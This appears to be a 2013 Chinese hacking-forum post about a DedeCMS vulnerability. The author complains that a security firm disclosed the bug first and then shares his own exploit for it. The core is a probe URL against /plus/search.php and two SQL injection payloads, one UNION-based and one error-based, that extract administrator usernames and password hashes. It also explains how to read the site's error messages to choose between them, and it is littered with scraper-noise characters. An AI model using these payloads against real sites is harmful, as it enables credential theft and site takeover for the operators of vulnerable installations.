转载不加作者名的没JJ
3 U# ^. `$ ?: X( M$ G
7 b* c5 n9 N0 F! I哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
% I* e" ^* U$ _8 A+ V
' N0 o5 V# m' a8 j8 G. O既然已经发出来了，我就把我自己搞的exp发下吧。。唉。! ^5 G& j, z% A3 ?9 I4 i3 x. f5 N: L
& C( t, |5 X- M& H0 t7 T* v
我一般是这样测试的： Y% T, Q; L" F) s% l# c) {/ ~
# |0 p: k" x# g* t4 k% t& R
提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a! h; P% U; A8 @6 y" M9 i7 K
* k' U+ Z, q' u' k8 O5 X: l5 z
转载不加作者名的没JJ0 m2 O; u% _+ _6 }$ z3 G% K# w! Z
1 c+ Q, G. N+ W* Q5 K作者：鬼哥$ [# [8 r P0 H2 W) y8 T
$ W- y- j" v0 i, [ 7 l) }( Z7 U5 _( Y; ~
f3 C3 H9 h! F看结果如果提示- Q/ d9 m( | A3 E3 _4 ~0 `1 |
) e# H! j" N4 G/ ?& v7 P4 Z" U8 [Safe Alert: Request Error step 2 !
# _3 O$ [! J/ E3 f5 n' C, l) {, U! j3 H* O0 O+ d: n
那么直接用下面的exp
: u* f; c; A% s' p, j8 L, _2 k9 a, m" c9 M& F& E
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
0 n6 M8 \& v* w
2 v% Z7 @% [* e. q4 {# W
; O4 S+ T- m+ F& ]看结果如果提示/ w* o; \" |( y, ?; o4 o( x8 y
& D" d' [5 a8 r6 sSafe Alert: Request Error step 1 !7 Q7 r; w0 k8 R% w3 V/ h( V
F0 G3 a% [' j* R$ G9 V! F% |( d) v& K
那么直接用下面的exp/ d4 k6 P- ^# S( \! B8 u
' L. E4 Y' t. i @ @3 \( \8 @xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
" J3 K' ?7 ?" ?6 r0 h" r
/ i% [& C9 n7 O; ^ T
5 ^- X- v y! v5 t1 m& Q. m如果正常显示证明漏洞不存在了。
3 ~5 G- |3 X# n1 w$ L. l3 k
5 @. ]/ _& U5 C) i2 l3 c+ }转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对